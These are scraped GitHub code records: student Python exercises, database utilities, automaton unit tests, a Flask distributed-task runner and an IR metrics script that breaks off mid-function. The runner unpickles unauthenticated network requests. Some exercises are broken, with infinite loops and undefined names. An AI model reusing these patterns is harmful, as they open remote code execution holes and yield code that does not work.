pokemon_list\n\n\ndef display_pokemon(pokemon_list):\n print(\"\\n__________ In display_pokemon() _________\")\n # if the list has objects, the pokemon are printed, else message appears\n if len(pokemon_list) > 0:\n for pokemon in pokemon_list:\n poke_index = pokemon_list.index(pokemon) + 1\n print(\"\\n Name of Pokemon #\"+str(poke_index)+\": \"+pokemon.get_name())\n print(\"\\n Ability of Pokemon #\"+str(poke_index)+\": \"+pokemon.get_ability())\n else:\n print(\"\\n You have entered no pokemon.\")\n\n\nif __name__ == '__main__':\n main()\n\nelse:\n pass\n","repo_name":"20juanpls/PF1-rep","sub_path":"Program8/program_8.py","file_name":"program_8.py","file_ext":"py","file_size_in_byte":2642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9600662204","text":"n=int(input())\r\n\r\n# i=1\r\n# while i<=n:\r\n# j=1\r\n# counter=1\r\n# while j<=n:\r\n# if j<=n-i:\r\n# print(' ',end='')\r\n# else:\r\n# print(counter,end='')\r\n# counter+=1\r\n# j+=1\r\n# print()\r\n# i=i+1\r\n\r\n\r\ni=1\r\nwhile i<=n:\r\n j=1\r\n space=1\r\n number=1\r\n while j<=n:\r\n while space<=n-i:\r\n print(' ',end='')\r\n\r\n while number<=i:\r\n print(number,end='')\r\n j = nnumber+ 1\r\n j = j + 1\r\n print()\r\n i=i+1\r\n\r\n\r\n\r\n","repo_name":"malhotrasahil/coding_ninjas","sub_path":"pycharm/loops_&_pattern/pattern9.py","file_name":"pattern9.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23970028890","text":"from pccm_bcdb_create import CreateTable\nimport sql.add_update_sql as sql\nimport sqlite3\nimport pandas as pd\nimport os\nimport helper_function.pccm_names as names\nimport helper_function.table_dicts as td\nfrom add_edit.join_db_current import JoinDB\nimport datetime\n\n\nclass UpdateColumns:\n\n def __init__(self, folder_path, dB, table):\n self.dB = dB\n self.dB_path = os.path.join(folder_path, dB)\n self.conn = sqlite3.connect(self.dB_path)\n self.cursor = self.conn.cursor()\n self.table = table\n\n def get_table_list(self):\n sql_stat = 'SELECT name FROM sqlite_master WHERE TYPE = \"TABLE\"'\n tabs = self.cursor.execute(sql_stat)\n tabs = tabs.fetchall()\n tabs_list = [tab[0] for tab in tabs]\n return (tabs_list)\n\n def get_input_data(self):\n sql_stat = 'SELECT * FROM ' + self.table\n try:\n df = pd.read_sql_query(sql_stat, self.conn)\n except pd.io.sql.DatabaseError:\n df = None\n old_col = None\n old_col = df.columns[1:]\n return (df, old_col)\n\n def create_table(self):\n create = CreateTable(self.cursor)\n modules = td.table_module_dict(self.table)\n col_names = td.db_dict(self.table, modules)\n create.create_table(self.table, file_number='file_number',\n col_names=col_names)\n\n def add_data(self, old_col, df):\n if df is not None:\n dat_rows = df.shape[0]\n print(df.shape)\n # joinDb = JoinDB(db_new=self.dB_path, db_old=self.dB_path,\n # table=self.table)\n # file_list = join_db.add_file_number()\n for row in range(dat_rows):\n dat = list(df.loc[row])\n file_number = dat[0]\n print(file_number)\n dat_add = dat[1:]\n print(dat_add)\n sql.add_pk_fk_to_table(self.conn, self.cursor, self.table,\n col_name='file_number', pk=file_number)\n sql.update_multiple(self.conn, self.cursor, self.table,\n columns=old_col, file_number=file_number,\n data=dat_add)\n\n def drop_old_table(self):\n sql_stat = 'DROP TABLE ' + self.table\n try:\n self.cursor.execute(sql_stat)\n except pd.io.sql.DatabaseError:\n return\n\n\nclass DataList:\n\n def __init__(self, folder_path):\n self.folder_path = folder_path\n\n def get_tables_db(self, db_name):\n db_path = os.path.join(self.folder_path, db_name)\n conn = sqlite3.connect(db_path)\n cursor = conn.cursor()\n sql_stat = \"SELECT name FROM sqlite_master WHERE TYPE = 'table'\"\n tabs = cursor.execute(sql_stat)\n tabs = tabs.fetchall()\n return(tabs, conn)\n\n def output_last_update(self, df, w):\n tabs = list(df['table'])\n tabs = set(tabs)\n for table in tabs:\n query_stat = \"table == '\" + table + \"'\"\n df_tab = df.query(query_stat)\n df_tab.to_excel(w, sheet_name=table, index=False, header=True)\n w.save()\n\n def get_last_update_data(self):\n df_all = pd.DataFrame()\n for db in os.listdir(self.folder_path):\n if db.endswith('.db'):\n tabs, conn = self.get_tables_db(db)\n df = self.get_file_last_update(conn, tabs, db)\n df_all = pd.concat([df_all, df], ignore_index=True)\n output_date = datetime.datetime.today()\n output_file = output_date.strftime('%Y_%m_%d') + '_data_list.xlsx'\n w = pd.ExcelWriter(os.path.join(self.folder_path, output_file))\n df_all.to_excel(w, sheet_name='all')\n self.output_last_update(df_all, w) \n print(output_file, 'created')\n\n @staticmethod\n def get_file_last_update(conn, tabs, db_name):\n df_all = pd.DataFrame(columns=['table', 'file_number', 'last_update',\n 'update_by', 'db_name'])\n for tab in tabs:\n table = tab[0]\n print(table)\n if table in names.db_tables():\n sql_stat = 'SELECT file_number, last_update, update_by FROM ' + table\n print(sql_stat)\n df = pd.read_sql_query(sql_stat, conn)\n print(df.shape)\n df['table'] = [table] * df.shape[0]\n df['db_name'] = [db_name] * df.shape[0]\n cols = ['table', 'file_number', 'update_by', 'last_update',\n 'db_name']\n df = df[cols]\n print(df)\n df_all = pd.concat([df_all, df], ignore_index=True, axis=0)\n return(df_all)\n\n\ndef get_data_list():\n folder_path = 'Z://Clinical_Database//dB_Backup//Curated Database//all_db'\n data_list = DataList(folder_path)\n data_list.get_last_update_data()\n","repo_name":"shwetakadupccm/pccm_db_sk","sub_path":"add_edit/update_db_columns.py","file_name":"update_db_columns.py","file_ext":"py","file_size_in_byte":4926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15432267626","text":"import docx #installed via python-docx\n \ndef getText(filename):\n doc = docx.Document(filename)\n print(getdocumenttext(doc)) \n fullText = []\n for para in doc.paragraphs:\n fullText.append(para.text)\n return \"\"\n return '\\n'.join(fullText)\n \nprint(getText(\"docxfile.docx\"))\n","repo_name":"ektamishraniu/usefulpythonscripts","sub_path":"docxfile_to_txtfile_conversion.py","file_name":"docxfile_to_txtfile_conversion.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9568785707","text":"import pandas as pd\n\nfrom huaweiDumpLibrary import parseDBSite,excList,distributionCalc,groupidList,enodebList,exportFilteredDict,exportFilteredDictFreq\nfrom dbname import sqldbdate\nimport itertools\n\nfolder = 'imports' + '/' + \"Overlap_List.csv\"\nsqldbname = sqldbdate + \".sqlite\"\n\noverlaplist = pd.read_csv(folder,usecols=[\"Site_sector\",\"LOCALCELLID\"])\n\ngrouped = overlaplist[[\"Site_sector\",\"LOCALCELLID\"]].groupby(\"Site_sector\")\ndf = grouped.aggregate(lambda x: tuple(x))\noverlap2belistDict = df.to_dict()\ntobe_dict = {}\n\nfor i,j in overlap2belistDict[\"LOCALCELLID\"].items():\n tobe_dict[i] = list(itertools.combinations(j, 2))\n\nncellOverlap = distributionCalc(\"EUTRANINTERFREQNCELL\",sqldbname)\n\n\nncellOverlap = ncellOverlap[[\"NE\",\"LOCALCELLID\",\"CELLID\",\"OVERLAPIND\"]]\n\nncellOverlap[\"Site_sector\"] = ncellOverlap[\"NE\"] + \"-\" + ncellOverlap[\"LOCALCELLID\"]\n\nncellOverlap.set_index(\"Site_sector\",inplace=True)\n\nncellOverlapDict = ncellOverlap.to_dict()\n\nfor site_sektor_i in ncellOverlapDict[\"NE\"].keys():\n\n try:\n\n site = ncellOverlapDict[\"NE\"][site_sektor_i]\n localcellid = ncellOverlapDict[\"LOCALCELLID\"][site_sektor_i]\n targetcellid = ncellOverlapDict[\"CELLID\"][site_sektor_i]\n overlap = ncellOverlapDict[\"OVERLAPIND\"][site_sektor_i]\n tobe_set = tobe_dict[site + \"-\" + localcellid[-1]]\n\n\n print(\"{} {} {} {} {}\".format(site,localcellid,targetcellid,overlap,tobe_set))\n\n except:\n\n print(site_sektor_i)\n\n\n\n\n","repo_name":"bakarerk/msTT","sub_path":"13_Overlap_Cell.py","file_name":"13_Overlap_Cell.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"5625818680","text":"import unittest\nimport numpy as np\n# import tensorflow.keras as keras\nimport make_prob_automaton\nimport WFA\n\n\nclass TestFunctions(unittest.TestCase):\n \"\"\"\n Test functions used to make probabilistic automata\n \"\"\"\n\n def assertNormalizedTransVec(self, vec, n_states, deg):\n self.assertEqual(len(vec), n_states)\n self.assertAlmostEqual(sum(vec), 1.)\n for x in vec:\n self.assertLessEqual(0., x)\n self.assertLessEqual(x, 1.)\n self.assertLessEqual(len([x for x in vec if x > 0.]), deg)\n\n def assertNormalizedTransMat(self, mat, n_states, deg):\n self.assertEqual(mat.shape, (n_states, n_states))\n for row in mat:\n self.assertNormalizedTransVec(row, n_states, deg)\n\n def test_make_distr(self):\n n_cells = 10\n l = make_prob_automaton.make_distr(n_cells)\n self.assertNormalizedTransVec(l, n_cells, n_cells)\n\n def test_make_trans_vec(self):\n n_states = 10\n deg = 3\n vec = make_prob_automaton.make_trans_vec(n_states, deg)\n self.assertNormalizedTransVec(vec, n_states, deg)\n\n def test_make_trans_vec_2(self):\n n_states = 10\n deg = 3\n mat = make_prob_automaton.make_trans_mat(n_states, deg)\n self.assertIsInstance(mat, np.ndarray)\n self.assertNormalizedTransMat(mat, n_states, deg)\n\n def test_make_prob_automaton(self):\n alphabets = \"abc\"\n n_states = 10\n deg = 3\n final_dist = lambda: np.random.beta(0.5, 0.5)\n wfa = make_prob_automaton.make_prob_automaton(alphabets,\n n_states,\n deg,\n final_dist)\n self.assertIsInstance(wfa, WFA.WFA)\n\n self.assertIsInstance(wfa.alphabet, str)\n self.assertEqual(wfa.alphabet, alphabets)\n\n self.assertIsInstance(wfa.q0, np.ndarray)\n self.assertEqual(wfa.q0.shape, (1, n_states))\n self.assertNormalizedTransVec(wfa.q0.reshape(-1, ), n_states, deg)\n\n self.assertIsInstance(wfa.final, np.ndarray)\n self.assertEqual(wfa.final.shape, (n_states, 1))\n\n self.assertIsInstance(wfa.delta, dict)\n self.assertEqual(set(wfa.delta.keys()), set(alphabets))\n for mat in wfa.delta.values():\n self.assertNormalizedTransMat(mat, n_states, deg)\n\n def test_make_prob_automaton_2(self):\n \"\"\"\n Test that there is no unbalance in generated WFAs\n :return:\n \"\"\"\n alphabets = \"abc\"\n n_states = 10\n deg = 3\n final_dist = lambda: np.random.beta(0.5, 0.5)\n\n aves = []\n for i in range(50):\n wfa = make_prob_automaton.make_prob_automaton(alphabets,\n n_states,\n deg,\n final_dist)\n aves.append(wfa.calc_average(10))\n print(aves)\n print(sum(aves) / len(aves))\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"ERATOMMSD/rnn2wfa_experiment_public","sub_path":"test_make_prob_automaton.py","file_name":"test_make_prob_automaton.py","file_ext":"py","file_size_in_byte":3141,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"5625926280","text":"from flask import Flask, make_response, request, abort\nimport pickle\nimport threading\nimport requests\nimport datetime\nimport hashlib\nimport time\nimport sys\nimport logging\nimport pathlib\nimport copy\nimport os\nimport os.path\nimport impact #ERASEHERE\nimport itertools\nimport hashlib\n\n\ntry:\n with open(\"slack_webhook.txt\", \"r\") as f:\n slack_url = f.readline().strip()\nexcept Exception as e:\n pass\n\n\ndef notify_slack(message: str) -> bool:\n import json\n try:\n requests.post(slack_url, data=json.dumps({\n 'text': message, # 投稿するテキスト\n 'username': u'rnn2wfa', # 投稿のユーザー名\n 'icon_emoji': u':ghost:', # 投稿のプロフィール画像に入れる絵文字\n 'link_names': 1, # メンションを有効にする\n }))\n return True\n except Exception as e:\n print(e)\n return False\n\ndef get_time_hash():\n return datetime.datetime.now().strftime(\"%Y%m%d%H%M%S\")\n\n\n# State of worker. It can be (\"idle\",), (\"working\", task), (\"done\", task, res) or\nlock_state = threading.Lock()\nstate_worker = (\"idle\",)\n\n\n# ------ User write below ------\n# Hostnames are written separated by breaks.\n# hosts = \"\"\"\n# 999.999.999.999\n# 999.999.999.998\n# 999.999.999.997\n# \"\"\"\n# The following try-except block reads hostnames from hosts.txt.\n# If you wrote the hostnames above, please disable the block.\ntry:\n hosts = pathlib.Path(\"hosts.txt\").read_text()\nexcept FileNotFoundError:\n hosts = \"\"\n \nname = \"sample\"\ninterval_polling = 5\ntimeout = 30\n\n# Returns the list of the tasks\ndef make_tasks_usual():\n paths = pathlib.Path(\"smaller.txt\").read_text().split(\"\\n\")\n paths = [p for p in paths if p != \"\"]\n #temp\n # paths = [\"'samples/nfm2017/benchmarks/llreve/barthe_merged_safe.c'\"]\n print(paths[:5])\n modes = [\"lia\", \"liabv\"]\n widths = [8]\n simps = [False]\n strategies = [\"strategy2\"]\n expand_floor_in_interpolations = [False]\n disable_euf = True\n lia2bvs = [\"naive\", \"boxing\"]\n omit_print = False\n to = 10*60 #temp\n tasks = []\n for id in range(1):\n for path in paths:\n for mode, simp in itertools.product(modes, simps):\n if mode == \"lia\":\n config = impact.Configuration(\"lia\", 0, simp, \"dummy\", False, False, \"dummy\")\n tasks.append({\"filename\": path, \"config\": config, \"timeout\": to, \"id\": id})\n elif mode == \"liabv\":\n for width, strategy, expand_floor_in_interpolation, lia2bv in itertools.product(widths, strategies, expand_floor_in_interpolations, lia2bvs):\n config = impact.Configuration(\"liabv\", width, simp, strategy, expand_floor_in_interpolation, disable_euf, lia2bv)\n tasks.append({\"filename\": path, \"config\": config, \"timeout\": to, \"id\": id})\n else:\n assert False\n \n return tasks\n\ndef make_tasks_string():\n import json\n to = 10*60\n str = \"\"\"{'filename': 'samples/nfm2017/benchmarks/llreve/barthe_merged_safe.c', 'config': 0, 'timeout': 600, 'id': 0}\"\"\"\n strs = str.split(\"\\n\")\n # strs = str.replace(\"'\", '\"')\n print(strs)\n jsons = [json.loads(s) for s in strs]\n tasks = []\n for j in jsons:\n con = j[\"config\"]\n theory = con[\"theory\"]\n width = int(con[\"bitwidth\"])\n simp = bool(con[\"simplification\"])\n expand_floor_in_interpolation = bool(con[\"smtutilopt\"][\"expand_floor_in_interpolation_error\"])\n disable_euf = bool(con[\"smtutilopt\"][\"disable_euf\"])\n floor_reduce = con[\"smtutilopt\"][\"floor_reduce\"]\n lia2bv = con[\"smtutilopt\"][\"lia2bv\"]\n config = impact.Configuration(theory, width, simp, floor_reduce, expand_floor_in_interpolation, disable_euf, lia2bv)\n tasks.append({\"filename\": j[\"filename\"], \"config\": config, \"timeout\": to})\n return tasks\n\ndef make_tasks():\n return make_tasks_usual()\n\n# Takes a task and return the result\ndef calc(task, no_upload=False):\n import os\n import pickle\n import subprocess\n if no_upload:\n import util_boto3_dummy as util_boto3\n else:\n import util_boto3\n import glob\n\n outerst = time.time()\n\n with open(\"task.pickle\", \"wb\") as f:\n pickle.dump(task, f)\n cmd = f\"pipenv run python impact_from_task.py\"\n try:\n output = subprocess.check_output(cmd.split(), shell=False, timeout=task[\"timeout\"], cwd=os.getcwd(), stderr=subprocess.STDOUT).decode()\n except subprocess.TimeoutExpired as e:\n output = \"timeout\"\n except subprocess.CalledProcessError as e:\n output = f\"ProcessError\\n{e.returncode}\\n{e.cmd}\\n{e.output}\"\n\n outer = time.time() - outerst\n if output == \"timeout\":\n outer = str(outer) + \"(timeout)\"\n with open(\"out/time.txt\", \"w\") as f:\n f.write(str(outer))\n\n\n taskhash = hashlib.md5(str(task).encode()).hexdigest()[:12]\n n = util_boto3.zip_and_upload(f\"{taskhash}_interpol.zip\", glob.glob(\"out/*\"), True)\n print(n)\n\n return n\n\n\n# Called when no tasks are assgined to a worker\ndef handle_finish_machine(uri, name):\n pass\n\n\n# Called when all the tasks are processed\ndef handle_finish_tasks():\n notify_slack(\"finished all!\")\n\n\n# Returns a string that is shown when 'http://(hostname):8080/' is accessed\ndef show_status():\n return state_worker[0]\n\n\n# ------ User write above ------\n\ndef get_hash(o):\n return hashlib.md5(pickle.dumps(o)).hexdigest()\n\n\n# Prepare Flask\napp = Flask(__name__)\n\n\n# Make pages\n@app.route(\"/\", methods=[\"GET\"])\ndef respond_home():\n return show_status()\n\n\ndef invoke_calc(task):\n global state_worker\n try:\n res = calc(copy.copy(task))\n lock_state.acquire()\n state_worker = (\"done\", task, res)\n lock_state.release()\n except Exception as e:\n import traceback, io\n with io.StringIO() as f:\n traceback.print_exc(file=f)\n app.logger.error(f.getvalue())\n lock_state.acquire()\n state_worker = (\"error\", task, f.getvalue())\n lock_state.release()\n\n\n@app.route(\"/calc\", methods=[\"POST\"])\ndef respond_calc():\n global state_worker\n app.logger.info(\"Got calculation request\".format())\n task = pickle.loads(request.data)\n try:\n lock_state.acquire()\n if state_worker[0] == \"idle\":\n state_worker = (\"working\", task)\n threading.Thread(target=invoke_calc, args=(task,)).start()\n app.logger.info(\"Accepting task\".format())\n else:\n lock_state.release()\n app.logger.info(\"Rejecting the request because the state is {0}\".format(state_worker[0]))\n abort(503, {})\n lock_state.release()\n except Exception as e:\n import traceback, io\n with io.StringIO() as f:\n traceback.print_exc(file=f)\n app.logger.error(f.getvalue())\n state_worker = (\"error\", task, f.getvalue())\n return \"Accepted your task\"\n\n\n@app.route(\"/retrieve\", methods=[\"POST\"])\ndef respond_retrieve():\n global state_worker\n response = make_response()\n app.logger.info(\"Got retrieval request\".format())\n task_request = pickle.loads(request.data)\n task_request_hash = get_hash(task_request)\n if state_worker[0] == \"idle\":\n app.logger.error(\"The state was idle\".format())\n abort(404, {}) #404\n elif state_worker[0] == \"working\":\n app.logger.info(\"The state was working\".format())\n abort(503, {}) # Service Unavailable\n elif state_worker[0] == \"done\":\n app.logger.info(\"The state was done\".format())\n lock_state.acquire()\n _, task, res = state_worker\n task_hash = get_hash(task)\n if task_hash != task_request_hash:\n app.logger.error(\"The task we have done and the task of the request are different\".format(),\n extra={\"who\": \"retrieve\"})\n app.logger.error(\"Task we have: {0}\".format(task),\n extra={\"who\": \"retrieve\"})\n app.logger.error(\"Task of request: {0}\".format(task_request),\n extra={\"who\": \"retrieve\"})\n lock_state.release()\n abort(404, {})\n res = pickle.dumps({\"task\": task, \"result\": pickle.dumps(res)})\n response.data = res\n response.mimetype = \"application/octet-stream\"\n state_worker = (\"idle\",)\n app.logger.info(\"Returning the result\".format())\n lock_state.release()\n return response\n elif state_worker[0] == \"error\":\n app.logger.info(\"The state was error\".format())\n lock_state.acquire()\n _, task, error = state_worker\n res = pickle.dumps({\"task\": task, \"error\": error})\n response.data = res\n response.mimetype = \"application/octet-stream\"\n state_worker = (\"idle\",)\n lock_state.release()\n return response\n app.logger.info(\"Unexpected state {0}\".format(state_worker))\n abort(500, {}) # Internal server error\n\n\n@app.route(\"/status\", methods=[\"GET\"])\ndef respond_status():\n global state_worker\n return state_worker[0]\n\n\ndef caller(server, tasks, finisheds, lock, total):\n time_start = time.time()\n uri_server = server[0]\n name_server = server[1]\n rootLogger.info(\"Starting {0}@{1}\".format(name_server, uri_server), extra={\"who\": name_server})\n while True:\n lock.acquire()\n if tasks == []:\n lock.release()\n break\n task = tasks.pop()\n rootLogger.info(\"Popped\".format(), extra={\"who\": name_server})\n lock.release()\n try:\n filename = \"{0}_{1}.done.pickle\".format(name_server, get_time_hash())\n filename_error = \"{0}_{1}.error.pickle\".format(name_server, get_time_hash())\n data = pickle.dumps(task)\n res = requests.post(uri_server + \"calc\", data=data, timeout=timeout)\n if res.status_code == 200:\n rootLogger.info(\"Request is accepted\".format(), extra={\"who\": name_server})\n while True:\n time.sleep(interval_polling)\n # rootLogger.info(\"Polling\".format(), extra={\"who\": name_server})\n res2 = requests.post(uri_server + \"retrieve\", data=data, timeout=timeout)\n if res2.status_code == 200:\n res2.raw.decode_content = True\n res = pickle.loads(res2.content)\n if \"result\" in res:\n with open(filename, \"wb\") as f:\n rootLogger.info(\"Saving the result as {0}\".format(filename),\n extra={\"who\": name_server})\n f.write(res2.content)\n break\n elif \"error\" in res:\n rootLogger.info(\"Internal error occurred in the remote machine on the task: {0}\".format(res[\"error\"]),\n extra={\"who\": name_server})\n with open(filename_error, \"wb\") as f:\n rootLogger.info(\"Saving the error result as {0}\".format(filename_error),\n extra={\"who\": name_server})\n f.write(res2.content)\n break\n else:\n raise Exception(\"Invalid result is given\")\n elif res2.status_code == 503:\n pass # the remote is working\n elif res2.status_code == 404:\n raise Exception(\"The remote machine is in idle. The task was gone away...\")\n else:\n raise Exception(\"Got unexpected error code {0}\".format(res2.status_code))\n time_elapsed = time.time() - time_start\n lock.acquire()\n finisheds.append(task)\n lock.release()\n speed = time_elapsed / len(finisheds)\n eta = speed*(total - len(finisheds))\n rootLogger.info(\"Finished {0}/{1} tasks ({2} in the queue). ETA is {3}\".format(len(finisheds), total, len(tasks), eta),\n extra={\"who\": name_server})\n else:\n rootLogger.info(\"Retrieving failed with {1}\".format(res.status_code), extra={\"who\": name_server})\n except Exception as e:\n import traceback, io\n with io.StringIO() as f:\n traceback.print_exc(file=f)\n rootLogger.error(\"Request failed with the following error: {0}\".format(f.getvalue()),\n extra={\"who\": name_server})\n # put the failed task back to the queue\n rootLogger.info(\"Putting back the failed task to the queue\", extra={\"who\": name_server})\n lock.acquire()\n tasks.append(task)\n lock.release()\n break\n\n rootLogger.info(\"Closing\".format(), extra={\"who\": name_server})\n handle_finish_machine(uri_server, name_server)\n\n\ndef get_servers():\n servers = [x.strip() for x in hosts.split(\"\\n\") if x.strip() != \"\"]\n servers = [\"http://{0}:8080/\".format(x) for x in servers]\n servers = [(server, name + str(i)) for i, server in enumerate(servers)]\n return servers\n\ndef get_status_remotes():\n xs = []\n servers = get_servers()\n for server in servers:\n try:\n res = requests.get(server[0] + \"status\")\n xs.append((server[0], res.content.decode()))\n except:\n xs.append((server[0], \"error\"))\n return xs\n\ndef tweak_result(filename):\n with open(filename, \"rb\") as f:\n return pickle.load(f)\n\nif __name__ == \"__main__\":\n # Prepare logger\n global rootLogger\n global logFile\n\n if len(sys.argv) < 2:\n print(\"No modes specified\")\n # sys.argv = [sys.argv[0], \"test\"]\n sys.exit(1)\n\n if sys.argv[1] == \"worker\":\n logFormatter = logging.Formatter(\"%(asctime)s [%(levelname)s] %(message)s\")\n else:\n logFormatter = logging.Formatter(\"%(asctime)s [%(levelname)s] [%(who)s] %(message)s\")\n\n rootLogger = logging.getLogger(\"oden\")\n rootLogger.setLevel(logging.INFO)\n\n logFile = \"{0}.log\".format(get_time_hash())\n fileHandler = logging.FileHandler(logFile)\n fileHandler.setFormatter(logFormatter)\n rootLogger.addHandler(fileHandler)\n\n consoleHandler = logging.StreamHandler()\n consoleHandler.setFormatter(logFormatter)\n rootLogger.addHandler(consoleHandler)\n\n # Main\n # print(sys.argv[1])\n\n if sys.argv[1] in [\"manager\", \"test\", \"resume\", \"local\"]:\n tasks = make_tasks()\n resume = False\n if sys.argv[1] == \"resume\":\n resume = True\n rootLogger.info(\"Starting resume mode\".format(), extra={\"who\": \"resume\"})\n # hoge\n hash2task = {get_hash(v): v for v in tasks}\n tasks_hash = [get_hash(t) for t in tasks]\n tasks_mset = {h: tasks_hash.count(h) for h in hash2task.keys()}\n dones = []\n for i in pathlib.Path(\".\").glob(\"{0}*.done.pickle\".format(name)):\n with open(i, \"rb\") as f:\n dones.append(pickle.load(f)[\"task\"])\n dones_hash = [get_hash(t) for t in dones]\n dones_mset = {h: dones_hash.count(h) for h in hash2task.keys()}\n remaining_mset = {h: tasks_mset[h] - dones_mset[h] for h in hash2task.keys()}\n tasks = []\n for k, v in remaining_mset.items():\n tasks += [copy.copy(hash2task[k]) for _ in range(v)]\n\n rootLogger.info(\"Loaded {0} tasks\".format(len(tasks)), extra={\"who\": \"resume\"})\n sys.argv[1] = \"manager\"\n if sys.argv[1] == \"manager\":\n rootLogger.info(\"Starting manager mode\", extra={\"who\": \"manager\"})\n # check if the remotes are ready\n for i in get_status_remotes():\n if i[1] != \"idle\":\n rootLogger.error(\"Machine {0} is not in idle ({1}). Cannot start the calculation.\".format(i[0], i[1]))\n sys.exit(1)\n #check if the previous calculation remaining\n if any(pathlib.Path(\".\").glob(\"{0}*.pickle\".format(name))) and (not resume):\n ans = \"\"\n while True: \n ans = input(\"The previous calculations seems remaining. Do you really start the calculation? (y/n)\")\n if ans.lower().startswith(\"y\"):\n break\n elif ans.lower().startswith(\"n\"):\n sys.exit(1)\n\n #\n servers = get_servers()\n rootLogger.info(\"Servers: \" + str(servers), extra={\"who\": \"manager\"})\n\n lock = threading.Lock()\n num_tasks = len(tasks)\n finisheds = []\n rootLogger.info(\"We have {0} tasks.\".format(num_tasks), extra={\"who\": \"manager\"})\n threads = []\n for server in servers:\n t = threading.Thread(target=caller, args=(server, tasks, finisheds, lock, num_tasks))\n t.start()\n threads.append(t)\n while True:\n if all([(not t.is_alive()) for t in threads]):\n handle_finish_tasks()\n break\n elif sys.argv[1] == \"test\":\n tasks = make_tasks()\n rootLogger.info(\"Starting test mode\", extra={\"who\": \"test\"})\n rootLogger.info(\"There are \" + str(len(tasks)) + \" tasks.\", extra={\"who\": \"test\"})\n input()\n for i in tasks:\n rootLogger.info(\"Starting task {0}\".format(i), extra={\"who\": \"manager\"})\n res = calc(i)\n filename = \"{0}_{1}.done.pickle\".format(\"odentest\", get_time_hash())\n with open(filename, \"wb\") as f:\n pickle.dump(res, f)\n input(\"waiting...\")\n elif sys.argv[1] == \"local\":\n tasks = make_tasks()\n rootLogger.info(\"Starting local mode\", extra={\"who\": \"test\"})\n rootLogger.info(\"There are \" + str(len(tasks)) + \" tasks.\", extra={\"who\": \"test\"})\n for i in tasks:\n rootLogger.info(\"Starting task {0}\".format(i), extra={\"who\": \"manager\"})\n res = calc(i, no_upload=True)\n filename = \"{0}_{1}.done.pickle\".format(\"odentest\", get_time_hash())\n with open(filename, \"wb\") as f:\n pickle.dump(res, f)\n # input(\"waiting...\")\n\n elif sys.argv[1] == \"worker\":\n if len(sys.argv) > 2:\n port = int(sys.argv[2])\n else:\n port = 8080\n app.run(host='0.0.0.0', port=port)\n elif sys.argv[1] == \"status\":\n for i in get_status_remotes():\n print(\"{0}\\t{1}\".format(i[0], i[1]))\n else:\n rootLogger.fatal(\"Invalid argument {0}\".format(sys.argv[1]), extra={\"who\": \"error\"})\n","repo_name":"ERATOMMSD/mind_the_gap","sub_path":"experiment/oden.py","file_name":"oden.py","file_ext":"py","file_size_in_byte":19043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25266544327","text":"import os\nimport operator\nimport numpy as np\nimport math\nfrom nltk import word_tokenize, sent_tokenize\nfrom nltk.corpus import stopwords\nfrom nltk.stem import LancasterStemmer, WordNetLemmatizer\nimport json\nimport ast\nimport operator\nimport pickle\nimport io \nimport random\nimport ast\nimport string\nfrom sklearn.preprocessing import MinMaxScaler\nimport re\nstopwords = stopwords.words()\nstopwords = dict(zip(stopwords, range(len(stopwords))))\nlemmatizer = WordNetLemmatizer()\nlemmatized_words = {}\n#table = {char: None for char in string.punctuation}\n#table = string.maketrans(\"\", \"\", string.punctuation)\nregex = re.compile('[%s]' % re.escape(string.punctuation))\ndef preprocess(text):\n text = regex.sub('', text)\n words = text.lower().split()\n #lemmatizer = WordNetLemmatizer()\n lemmas = []\n for word in words:\n #if word not in stopwords:\n try:\n lemmas.append(lemmatized_words[word])\n except:\n lemma = lemmatizer.lemmatize(word, pos='v')\n lemmas.append(lemma)\n lemmatized_words[word] = lemma\n\n text = ' '.join(lemmas)\n return text\n\n\n\ndef evaluate_res(sorted_res, rel_jud):\n p5 = 0\n p10 = 0\n p1 = 0\n p3 = 0\n num_rel = 0\n p100 = 0\n for rank, tup in enumerate(sorted_res):\n try:\n if rel_jud[tup[0]] > 0:\n if rank < 1:\n p1 += 1\n if rank < 3:\n p3 += 1\n if rank < 5:\n p5 += 1\n if rank < 10:\n p10 += 1\n if rank < 100:\n p100 += 1\n num_rel += 1\n except:\n continue\n\n ndcg1 = get_ndcg(sorted_res, rel_jud, 1)\n ndcg3 = get_ndcg(sorted_res, rel_jud, 3)\n ndcg5 = get_ndcg(sorted_res, rel_jud, 5)\n ndcg10 = get_ndcg(sorted_res, rel_jud, 10)\n ndcg100 = get_ndcg(sorted_res, rel_jud, 100)\n return {\"ndcg1\": ndcg1, \"ndcg3\": ndcg3, \"ndcg5\": ndcg5, \"ndcg10\": ndcg10, \"ndcg100\": ndcg100, \"p5\": p5/5.0,\n \"p10\": p10/10.0, \"p1\": p1/1.0, \"p3\": p3/3.0, \"p100\": p100/100.0, \"num_rel\": num_rel}\n\n\ndef get_ndcg(sorted_res, rel_jud, cutoff):\n dcg = 0\n '''\n print (rel_jud.keys())\n for i in range(min(cutoff, len(sorted_res))):\n doc_id = sorted_res[i][0]\n if doc_id not in rel_jud.keys():\n rel_level = 0\n else: \n rel_level = rel_jud[doc_id]\n print (doc_id, rel_level)\n dcg += (math.pow(2, rel_level) - 1) / (np.log2(i+2))\n '''\n for i in range(min(cutoff, len(sorted_res))):\n doc_id = sorted_res[i][0]\n if doc_id in rel_jud:\n rel_level = rel_jud[doc_id]\n else:\n rel_level = 0\n dcg += (math.pow(2, rel_level) - 1) / (np.log2(i+2))\n\n ideal_sorted = {}\n for tup in sorted_res:\n try:\n ideal_sorted[tup[0]] = rel_jud[tup[0]]\n except:\n ideal_sorted[tup[0]] = 0\n ideal_sorted = sorted(ideal_sorted.iteritems(), key=operator.itemgetter(1), reverse=True)\n\n idcg = 0\n for i in range(min(cutoff, len(ideal_sorted))):\n doc_id = 